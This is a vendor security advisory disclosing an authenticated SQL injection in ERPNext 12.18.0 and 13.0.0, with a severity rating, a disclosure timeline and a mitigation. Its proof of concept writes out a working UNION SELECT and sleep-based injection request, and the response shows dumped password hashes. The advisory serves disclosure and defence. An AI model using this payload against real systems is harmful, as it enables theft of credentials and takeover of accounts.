Authenticated SQL injection in ERPNext 13.0.0/12.18.0
Overview
Advisory ID: TRSA-2103-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2103-01
Affected product: ERPNext
Tested versions: 12.18.0 and 13.0.0 beta
Vendor: Frappé Technologies https://frappe.io
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch
Detailed description
Trovent Security GmbH discovered an SQL Injection vulnerability in the “frappe.model.db_query.get_list” API endpoint.
On version 13.0.0 valid credentials without any privileges are sufficient, but on version 12.18.0 at least “system_user” privileges are required. The vulnerable parameter “filters” allows injection of SQL statements.
An attacker is able to query all available database tables to retrieve usernames, password hashes or password reset tokens which can then be used to reset administrator passwords.
Severity: High
CVSS Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE ID: 89
CVE ID: TBD
Proof of concept
Sample request made with a non-system account to retrieve password hashes:
REQUEST:
GET /api/method/frappe.model.db_query.get_list?filters=%7b%22name%20UNION%20SELECT%20password%20from%20%60__Auth%60%20--%20%22%3a %20%22administrator%22%7d&fields=%5b%22name%22%5d&doctype=User&limit=20'%3b%20do%20sleep(10)&order_by=name&_=1615372773071 HTTP/1.1 Host: erpnext.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Frappe-CSRF-Token: 0e89c5c43898da856fe12e19a57991d7bdf380477d0354f93ce6bcf3 X-Frappe-CMD: X-Frappe-Doctype: Dashboard%20Settings X-Requested-With: XMLHttpRequest Connection: close Referer: http://erpnext.local/app/website Cookie: io=NVosyhHCvV3KdkxNAAi7; sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; system_user=no; full_name=auth%20test%27; user_id=auth%40trovent.io; user_image=
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.19.7
Date: Wed, 10 Mar 2021 16:04:40 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Set-Cookie: sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; Expires=Sat, 13-Mar-2021 16:04:40 GMT; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: system_user=no; Path=/; SameSite=Lax
Set-Cookie: full_name=auth%20test%27; Path=/; SameSite=Lax
Set-Cookie: user_id=auth%40trovent.io; Path=/; SameSite=Lax
Set-Cookie: user_image=; Path=/; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 719
{"message":[{"name":"$pbkdf2-sha256$29000$0fofo/SeE0IoRQgh5HyvVQ$IuyDVu5v4Hc4Z7Pe/3Tvpim7AdhbYrI9b9XXL39/tVU"},{"name":"$pbkdf2-s
ha256$29000$1vqfk3KO0ZqT8n7vvff.nw$A9a6k9wbegrw5QUiJ/jj1.kXCr.lwRSJtv5S7QTCQgU"},{"name":"$pbkdf2-sha256$29000$aA2B8P7/X.vd./.fM6
aUkg$JluCIXXrUgKxTUwvRyveCRIDjJ0mhhoG9Cs6onAO2Do"},{"name":"$pbkdf2-sha256$29000$CSFEKCVEqPVe611rrdVayw$pFf/iBuprNIdZ4DoJadro0UUN
affy.2v5EbAe4Nbxco"},{"name":"$pbkdf2-sha256$29000$L2WMkdLaG2NM6V3rnXMOAQ$snURvXF1kNTGA7Zux.HLoQ5JISRajyOBiAZ1VDjEJnc"},{"name":"
$pbkdf2-sha256$29000$r/UeQ.id0/rfm9M6Z4yR8g$1w/oAvTRNJ7wKuSHgZ.4jkDHQAvLLYxerzYeHpd1IV8"},{"name":"gAAAAABgP1dTiYpJ67JyyUjytcay4X
mKoOuyf_jAke7slDwL4gIM5lCWCbu6SjYOPOX6WigAm0fZzGgTEIiXNCA_yPZI64ijmA=="}]}
Solution / Workaround
To mitigate this vulnerability, we recommend to limit access to the affected API endpoint.
As a permanent solution it is recommended not to insert user input directly into SQL queries.
History
2021-03-10: Vulnerability found
2021-03-11: Advisory created and vendor contacted
2021-03-22: Vendor replied that they request CVE IDs after a fix is released
2021-04-19: Vendor informed about planned disclosure date (2021-05-11)
2021-05-03: Vendor contacted, asking for status
2021-05-07: No reply from vendor, vendor contacted again
2021-05-11: Advisory published